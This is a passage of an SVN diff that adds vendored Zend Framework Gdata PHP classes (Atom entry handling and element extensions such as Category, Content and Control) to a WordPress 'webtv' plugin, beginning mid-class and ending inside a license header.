+class Zend_Gdata_App_CaptchaRequiredException extends Zend_Gdata_App_AuthException
+{
+    /**
+     * The Google Accounts URL prefix.
+     */
+    const ACCOUNTS_URL = 'https://www.google.com/accounts/';
+    
+    /**
+     * The token identifier from the server.
+     * 
+     * @var string
+     */
+    private $captchaToken;
+    
+    /**
+     * The URL of the CAPTCHA image.
+     * 
+     * @var string
+     */
+    private $captchaUrl;
+    
+    /**
+     * Constructs the exception to handle a CAPTCHA required response.
+     * 
+     * @param string $captchaToken The CAPTCHA token ID provided by the server.
+     * @param string $captchaUrl The URL to the CAPTCHA challenge image.
+     */
+    public function __construct($captchaToken, $captchaUrl) {
+        $this->captchaToken = $captchaToken;
+        $this->captchaUrl = Zend_Gdata_App_CaptchaRequiredException::ACCOUNTS_URL . $captchaUrl;
+        parent::__construct('CAPTCHA challenge issued by server');
+    }
+    
+    /**
+     * Retrieves the token identifier as provided by the server.
+     * 
+     * @return string
+     */
+    public function getCaptchaToken() {
+        return $this->captchaToken;
+    }
+    
+    /**
+     * Retrieves the URL CAPTCHA image as provided by the server.
+     * 
+     * @return string
+     */
+    public function getCaptchaUrl() {
+        return $this->captchaUrl;
+    }
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Entry.php	(revision 44)
@@ -0,0 +1,388 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_FeedEntryParent
+ */
+require_once 'Zend/Gdata/App/FeedEntryParent.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Content
+ */
+require_once 'Zend/Gdata/App/Extension/Content.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Edited
+ */
+require_once 'Zend/Gdata/App/Extension/Edited.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Published
+ */
+require_once 'Zend/Gdata/App/Extension/Published.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Source
+ */
+require_once 'Zend/Gdata/App/Extension/Source.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Summary
+ */
+require_once 'Zend/Gdata/App/Extension/Summary.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Control
+ */
+require_once 'Zend/Gdata/App/Extension/Control.php';
+
+/**
+ * Concrete class for working with Atom entries.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Entry extends Zend_Gdata_App_FeedEntryParent
+{
+
+    /**
+     * Root XML element for Atom entries.
+     *
+     * @var string
+     */
+    protected $_rootElement = 'entry';
+
+    /**
+     * Class name for each entry in this feed*
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_App_Entry';
+
+    /**
+     * atom:content element
+     *
+     * @var Zend_Gdata_App_Extension_Content
+     */
+    protected $_content = null;
+
+    /**
+     * atom:published element
+     *
+     * @var Zend_Gdata_App_Extension_Published
+     */
+    protected $_published = null;
+
+    /**
+     * atom:source element
+     *
+     * @var Zend_Gdata_App_Extension_Source
+     */
+    protected $_source = null;
+
+    /**
+     * atom:summary element
+     *
+     * @var Zend_Gdata_App_Extension_Summary
+     */
+    protected $_summary = null;
+
+    /**
+     * app:control element
+     *
+     * @var Zend_Gdata_App_Extension_Control
+     */
+    protected $_control = null;
+
+    /**
+     * app:edited element
+     *
+     * @var Zend_Gdata_App_Extension_Edited
+     */
+    protected $_edited = null;
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_content != null) {
+            $element->appendChild($this->_content->getDOM($element->ownerDocument));
+        }
+        if ($this->_published != null) {
+            $element->appendChild($this->_published->getDOM($element->ownerDocument));
+        }
+        if ($this->_source != null) {
+            $element->appendChild($this->_source->getDOM($element->ownerDocument));
+        }
+        if ($this->_summary != null) {
+            $element->appendChild($this->_summary->getDOM($element->ownerDocument));
+        }
+        if ($this->_control != null) {
+            $element->appendChild($this->_control->getDOM($element->ownerDocument));
+        }
+        if ($this->_edited != null) {
+            $element->appendChild($this->_edited->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'content':
+            $content = new Zend_Gdata_App_Extension_Content();
+            $content->transferFromDOM($child);
+            $this->_content = $content;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'published':
+            $published = new Zend_Gdata_App_Extension_Published();
+            $published->transferFromDOM($child);
+            $this->_published = $published;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'source':
+            $source = new Zend_Gdata_App_Extension_Source();
+            $source->transferFromDOM($child);
+            $this->_source = $source;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'summary':
+            $summary = new Zend_Gdata_App_Extension_Summary();
+            $summary->transferFromDOM($child);
+            $this->_summary = $summary;
+            break;
+        case $this->lookupNamespace('app') . ':' . 'control':
+            $control = new Zend_Gdata_App_Extension_Control();
+            $control->transferFromDOM($child);
+            $this->_control = $control;
+            break;
+        case $this->lookupNamespace('app') . ':' . 'edited':
+            $edited = new Zend_Gdata_App_Extension_Edited();
+            $edited->transferFromDOM($child);
+            $this->_edited = $edited;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Uploads changes in this entry to the server using Zend_Gdata_App
+     *
+     * @param string|null $uri The URI to send requests to, or null if $data
+     *        contains the URI.
+     * @param string|null $className The name of the class that should we
+     *        deserializing the server response. If null, then
+     *        'Zend_Gdata_App_Entry' will be used.
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Gdata_App_Entry The updated entry.
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function save($uri = null, $className = null, $extraHeaders = array())
+    {
+        return $this->getService()->updateEntry($this,
+                                                $uri,
+                                                $className,
+                                                $extraHeaders);
+    }
+
+    /**
+     * Deletes this entry to the server using the referenced
+     * Zend_Http_Client to do a HTTP DELETE to the edit link stored in this
+     * entry's link collection.
+     *
+     * @return void
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function delete()
+    {
+        $this->getService()->delete($this);
+    }
+
+    /**
+     * Reload the current entry. Returns a new copy of the entry as returned
+     * by the server, or null if no changes exist. This does not
+     * modify the current entry instance.
+     *
+     * @param string|null The URI to send requests to, or null if $data
+     *        contains the URI.
+     * @param string|null The name of the class that should we deserializing
+     *        the server response. If null, then 'Zend_Gdata_App_Entry' will
+     *        be used.
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return mixed A new instance of the current entry with updated data, or
+     *         null if the server reports that no changes have been made.
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function reload($uri = null, $className = null, $extraHeaders = array())
+    {
+        // Get URI
+        $editLink = $this->getEditLink();
+        if (($uri === null) && $editLink != null) {
+            $uri = $editLink->getHref();
+        }
+
+        // Set classname to current class, if not otherwise set
+        if ($className === null) {
+            $className = get_class($this);
+        }
+
+        // Append ETag, if present (Gdata v2 and above, only) and doesn't
+        // conflict with existing headers
+        if ($this->_etag != null
+                && !array_key_exists('If-Match', $extraHeaders)
+                && !array_key_exists('If-None-Match', $extraHeaders)) {
+            $extraHeaders['If-None-Match'] = $this->_etag;
+        }
+
+        // If an HTTP 304 status (Not Modified)is returned, then we return
+        // null.
+        $result = null;
+        try {
+            $result = $this->service->importUrl($uri, $className, $extraHeaders);
+        } catch (Zend_Gdata_App_HttpException $e) {
+            if ($e->getResponse()->getStatus() != '304')
+                throw $e;
+        }
+
+        return $result;
+    }
+
+    /**
+     * Gets the value of the atom:content element
+     *
+     * @return Zend_Gdata_App_Extension_Content
+     */
+    public function getContent()
+    {
+        return $this->_content;
+    }
+
+    /**
+     * Sets the value of the atom:content element
+     *
+     * @param Zend_Gdata_App_Extension_Content $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setContent($value)
+    {
+        $this->_content = $value;
+        return $this;
+    }
+
+    /**
+     * Sets the value of the atom:published element
+     * This represents the publishing date for an entry
+     *
+     * @return Zend_Gdata_App_Extension_Published
+     */
+    public function getPublished()
+    {
+        return $this->_published;
+    }
+
+    /**
+     * Sets the value of the atom:published element
+     * This represents the publishing date for an entry
+     *
+     * @param Zend_Gdata_App_Extension_Published $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setPublished($value)
+    {
+        $this->_published = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the value of the atom:source element
+     *
+     * @return Zend_Gdata_App_Extension_Source
+     */
+    public function getSource()
+    {
+        return $this->_source;
+    }
+
+    /**
+     * Sets the value of the atom:source element
+     *
+     * @param Zend_Gdata_App_Extension_Source $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setSource($value)
+    {
+        $this->_source = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the value of the atom:summary element
+     * This represents a textual summary of this entry's content
+     *
+     * @return Zend_Gdata_App_Extension_Summary
+     */
+    public function getSummary()
+    {
+        return $this->_summary;
+    }
+
+    /**
+     * Sets the value of the atom:summary element
+     * This represents a textual summary of this entry's content
+     *
+     * @param Zend_Gdata_App_Extension_Summary $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setSummary($value)
+    {
+        $this->_summary = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the value of the app:control element
+     *
+     * @return Zend_Gdata_App_Extension_Control
+     */
+    public function getControl()
+    {
+        return $this->_control;
+    }
+
+    /**
+     * Sets the value of the app:control element
+     *
+     * @param Zend_Gdata_App_Extension_Control $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setControl($value)
+    {
+        $this->_control = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Exception.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+
+/**
+ * Zend_Exception
+ */
+require_once 'Zend/Exception.php';
+
+/**
+ * Gdata App exceptions
+ *
+ * Class to represent exceptions that occur during Gdata App operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Exception extends Zend_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension.php	(revision 44)
@@ -0,0 +1,39 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Base
+ */
+require_once 'Zend/Gdata/App/Base.php';
+
+/**
+ * Gdata App extensions
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_Extension extends Zend_Gdata_App_Base
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Author.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Author.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Author.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension/Person.php';
+
+/**
+ * Represents the atom:author element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Author extends Zend_Gdata_App_Extension_Person
+{
+
+    protected $_rootElement = 'author';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Category.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Category.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Category.php	(revision 44)
@@ -0,0 +1,139 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:category element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Category extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'category';
+    protected $_term = null;
+    protected $_scheme = null;
+    protected $_label = null;
+
+    public function __construct($term = null, $scheme = null, $label=null)
+    {
+        parent::__construct();
+        $this->_term = $term;
+        $this->_scheme = $scheme;
+        $this->_label = $label;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_term !== null) {
+            $element->setAttribute('term', $this->_term);
+        }
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        if ($this->_label !== null) {
+            $element->setAttribute('label', $this->_label);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'term':
+            $this->_term = $attribute->nodeValue;
+            break;
+        case 'scheme':
+            $this->_scheme = $attribute->nodeValue;
+            break;
+        case 'label':
+            $this->_label = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getTerm()
+    {
+        return $this->_term;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Extension_Category Provides a fluent interface
+     */
+    public function setTerm($value)
+    {
+        $this->_term = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Extension_Category Provides a fluent interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getLabel()
+    {
+        return $this->_label;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Extension_Category Provides a fluent interface
+     */
+    public function setLabel($value)
+    {
+        $this->_label = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Content.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Content.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Content.php	(revision 44)
@@ -0,0 +1,87 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Text
+ */
+require_once 'Zend/Gdata/App/Extension/Text.php';
+
+/**
+ * Represents the atom:content element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Content extends Zend_Gdata_App_Extension_Text
+{
+
+    protected $_rootElement = 'content';
+    protected $_src = null;
+
+    public function __construct($text = null, $type = 'text', $src = null)
+    {
+        parent::__construct($text, $type);
+        $this->_src = $src;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_src !== null) {
+            $element->setAttribute('src', $this->_src);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'src':
+            $this->_src = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getSrc()
+    {
+        return $this->_src;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setSrc($value)
+    {
+        $this->_src = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Contributor.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Contributor.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Contributor.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension/Person.php';
+
+/**
+ * Represents the atom:contributor element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Contributor extends Zend_Gdata_App_Extension_Person
+{
+
+    protected $_rootElement = 'contributor';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Control.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Control.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Control.php	(revision 44)
@@ -0,0 +1,97 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Draft
+ */
+require_once 'Zend/Gdata/App/Extension/Draft.php';
+
+/**
+ * Represents the app:control element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Control extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootNamespace = 'app';
+    protected $_rootElement = 'control';
+    protected $_draft = null;
+
+    public function __construct($draft = null)
+    {
+        parent::__construct();
+        $this->_draft = $draft;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_draft != null) {
+            $element->appendChild($this->_draft->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('app') . ':' . 'draft':
+            $draft = new Zend_Gdata_App_Extension_Draft();
+            $draft->transferFromDOM($child);
+            $this->_draft = $draft;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Draft
+     */
+    public function getDraft()
+    {
+        return $this->_draft;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Draft $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setDraft($value)
+    {
+        $this->_draft = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Draft.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Draft.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Draft.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the app:draft element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Draft extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootNamespace = 'app';
+    protected $_rootElement = 'draft';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Edited.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Edited.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Edited.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the app:edited element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Edited extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'edited';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Element.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Element.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Element.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
